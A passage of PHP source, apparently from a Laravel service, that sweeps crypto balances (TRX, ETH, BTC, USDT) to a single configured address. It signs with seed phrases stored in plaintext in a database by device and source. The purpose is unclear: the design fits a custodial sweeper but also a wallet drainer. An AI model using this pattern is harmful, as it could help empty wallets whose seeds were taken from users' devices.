$fromAddress, 'to_address' => null, 'chain' => $chain, 'tx_hash' => null, 'amount' => $amount === null || trim($amount) === '' ? null : trim($amount), 'type' => TransferRecord::TYPE_OUT, 'asset' => strtoupper(trim($asset)), 'operator' => $operator, 'status' => TransferRecord::STATUS_FAILED, 'error' => null, ]; try { $to = $this->toAddress($chain); if ($to === '') { return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]); } $record['to_address'] = $to; $asset = strtoupper(trim($asset)); $record['asset'] = $asset; $driver = $this->chains->resolve($chain); if (! $driver->isValidAddress($fromAddress)) { return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']); } if (! $driver->isValidAddress($to)) { return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']); } $amount = $amount === null ? null : trim($amount); if ($amount === '') { $amount = null; } if ($amount === null) { $amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain); } $record['amount'] = $amount; $this->assertAmountWithinLimit($amount, $asset); $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); if ($resolved === null) { return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']); } ['mnemonic' => $mnemonic, 'index' => $index] = $resolved; $txid = match ($asset) { 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount), 'USDT' => $driver->sendToken( $mnemonic, $index, $to, $amount, $this->usdtContract($chain), ), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; $record['tx_hash'] = $txid; $record['status'] = TransferRecord::STATUS_SUCCESS; return $this->finish($record, [ 'ok' => true, 'txid' => $txid, 'from' => $fromAddress, 'to' => $to, 'amount' => $amount, 'asset' => $asset, ]); } catch (\Throwable $e) { $record['error'] = $e->getMessage(); return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]); } } /** * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} */ private function finish(array $record, array $result): array { if (! ($result['ok'] ?? false)) { $record['status'] = TransferRecord::STATUS_FAILED; $record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed'); } try { TransferRecord::query()->create([ 'from_address' => (string) ($record['from_address'] ?? ''), 'to_address' => $record['to_address'], 'chain' => (string) ($record['chain'] ?? ''), 'tx_hash' => $record['tx_hash'], 'amount' => $record['amount'], 'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT), 'asset' => (string) ($record['asset'] ?? ''), 'operator' => $record['operator'], 'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED), 'error' => $record['error'], ]); } catch (\Throwable) { // never break transfer for persistence failures } create_log([ 'event' => 'transfer', 'ok' => (bool) ($result['ok'] ?? false), 'from' => $record['from_address'], 'to' => $record['to_address'], 'chain' => $record['chain'], 'tx_hash' => $record['tx_hash'], 'amount' => $record['amount'], 'type' => $record['type'], 'asset' => $record['asset'], 'operator' => $record['operator'], 'status' => $record['status'], 'error' => $record['error'], ], 'transfer'); return $result; } private function toAddress(string $chain): string { return match ($chain) { 'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')), 'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')), default => trim((string) config('coruna.transfer.to_address', '')), }; } private function missingToAddressError(string $chain): string { return match ($chain) { 'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured', 'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured', default => 'TRANSFER_TO_ADDRESS is not configured', }; } private function usdtContract(string $chain): string { $contract = match ($chain) { 'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')), default => trim((string) config('coruna.tron.usdt_contract', '')), }; if ($contract === '') { throw new RuntimeException('USDT contract is not configured for '.$chain); } return $contract; } private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string { $balance = match ($asset) { 'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress), 'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; $reserveKey = match ($asset) { 'TRX' => 'coruna.transfer.trx_fee_reserve', 'ETH' => 'coruna.transfer.eth_fee_reserve', 'BTC' => 'coruna.transfer.btc_fee_reserve', default => null, }; $scale = match ($asset) { 'ETH' => 18, 'BTC' => 8, default => 6, }; if ($reserveKey !== null) { $reserve = (string) config($reserveKey, '0'); if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) { $balance = bcsub($balance, $reserve, $scale); $balance = rtrim(rtrim($balance, '0'), '.'); if ($balance === '' || str_starts_with($balance, '-')) { $balance = '0'; } } } if (bccomp($balance, '0', $scale) <= 0) { throw new RuntimeException("No transferable {$asset} balance"); } return $balance; } /** * @return array{mnemonic: string, index: int}|null */ private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array { $addressRows = WalletAddress::query() ->where('address', $fromAddress) ->orderBy('id') ->get(['device_id', 'source']); // ETH addresses are often stored with mixed-case checksum. if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) { $addressRows = WalletAddress::query() ->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)]) ->orderBy('id') ->get(['device_id', 'source']); } if ($addressRows->isEmpty()) { return null; } $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); $caseInsensitive = $driver->chainId() === 'eth'; foreach ($addressRows as $row) { $mnemonics = WalletMnemonic::query() ->where('device_id', $row->device_id) ->where(function ($q) use ($row) { if ($row->source === null || $row->source === '') { $q->whereNull('source')->orWhere('source', ''); } else { $q->where('source', $row->source); } }) ->orderBy('id') ->get(); foreach ($mnemonics as $mnemonicRow) { $phrase = $mnemonicRow->mnemonic; if ($phrase === null || trim($phrase) === '') { continue; } for ($index = 0; $index <= $maxIndex; $index++) { try { $derived = $driver->deriveAddress($phrase, $index); $match = $caseInsensitive ? strcasecmp($derived, $fromAddress) === 0 : $derived === $fromAddress; if ($match) { return ['mnemonic' => $phrase, 'index' => $index]; } } catch (\Throwable) { break; } } } } return null; } private function assertAmountWithinLimit(string $amount, string $asset): void { $decimals = match ($asset) { 'ETH' => 18, 'BTC' => 8, default => 6, }; if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) { throw new RuntimeException('Invalid amount'); } $maxKey = match ($asset) { 'TRX' => 'coruna.transfer.max_trx', 'ETH' => 'coruna.transfer.max_eth', 'BTC' => 'coruna.transfer.max_btc', default => 'coruna.transfer.max_usdt', }; $max = (string) config($maxKey, '0'); if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) { throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})"); } } }